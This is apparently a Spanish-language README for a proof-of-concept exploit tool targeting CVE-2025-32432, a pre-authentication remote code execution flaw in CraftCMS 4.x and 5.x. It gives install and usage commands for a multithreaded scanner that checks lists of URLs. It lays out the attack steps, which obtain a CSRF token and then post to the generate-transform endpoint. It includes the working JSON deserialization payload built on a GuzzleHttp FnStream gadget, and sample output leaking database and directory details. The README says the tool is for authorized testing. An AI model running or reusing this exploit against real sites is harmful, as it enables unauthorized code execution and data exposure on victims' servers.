
Este repositorio contiene un script de exploit de prueba de concepto para CVE-2025-32432, una vulnerabilidad de Ejecución Remota de Código (RCE) de pre-autenticación que afecta a CraftCMS versiones 4.x y 5.x. La vulnerabilidad existe en la función de generación de transformación de activos de CraftCMS.
Este repositorio contiene un script de prueba de concepto para CVE-2025-32432, una vulnerabilidad de ejecución remota de código (RCE) sin autenticación que afecta a CraftCMS versiones 4.x y 5.x. La vulnerabilidad existe en la función de generación de transformación de activos de CraftCMS.
Este script de exploit automatiza la detección y verificación de la vulnerabilidad mediante:
⚠️ Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas.
Utilice esta herramienta solo contra sistemas para los cuales tenga permiso explícito de prueba. Probar sin permiso sistemas sin autorización es ilegal y poco ético.
# Clonar el repositorio
git clone https://github.com/Sachinart/CVE-2025-32432.git
cd CVE-2025-32432
# Instalar dependencias requeridas
pip install -r requirements.txt
Para escanear un único objetivo:
python3 craftcms_rce.py -u example.com
Para escanear múltiples objetivos desde un archivo (una URL por línea):
python3 craftcms_rce.py -f urls.txt -t 10
Donde -t especifica el número de hilos a usar (por defecto es 5).
-u, --url URL única a probar
-f, --file Archivo que contiene URLs a probar (una por línea)
-t, --threads Número de hilos (por defecto: 5)
-h, --help Mostrar mensaje de ayuda y salir
El script mostrará resultados en la consola y guardará los objetivos vulnerables en vulnerable.txt en formato CSV con las siguientes columnas:
Ejemplo de salida en consola:
[*] Probando objetivo único: https://example.com
[*] Iniciando escaneo con 5 hilos
[+] VULNERABLE: https://example.com
CRAFT_DB_DATABASE: example_db
HOME Directory: /home/example
=== RESUMEN DEL ESCANEO ===
Total de URLs escaneadas: 1
Sitios vulnerables: 1
Resultados detallados guardados en vulnerable.txt
Esta vulnerabilidad explota un problema de deserialización en CraftCMS. El exploit:
/index.php?p=admin/dashboard para obtener un token CSRF/index.php?p=admin/actions/assets/generate-transform con un payload JSON especialmente diseñadoGuzzleHttp\Psr7\FnStreamphpinfo() y extrayendo información específica del sistemaEl exploit aprovecha una deserialización insegura en el proceso de generación de transformación de activos. La ruta de código vulnerable permite a un atacante inyectar un objeto PHP personalizado que se deserializa, lo que lleva a ejecución de código arbitrario.
Los componentes clave del payload:
{
"assetId": 11,
"handle": {
"width": 123,
"height": 123,
"as session": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "GuzzleHttp\\Psr7\\FnStream",
"__construct()": [[]],
"_fn_close": "phpinfo"
}
}
}
¡Las contribuciones, problemas y solicitudes de funciones son bienvenidas! No dudes en visitar la página de issues.
Este proyecto está licenciado bajo la Licencia MIT - consulte el archivo LICENSE para más detalles.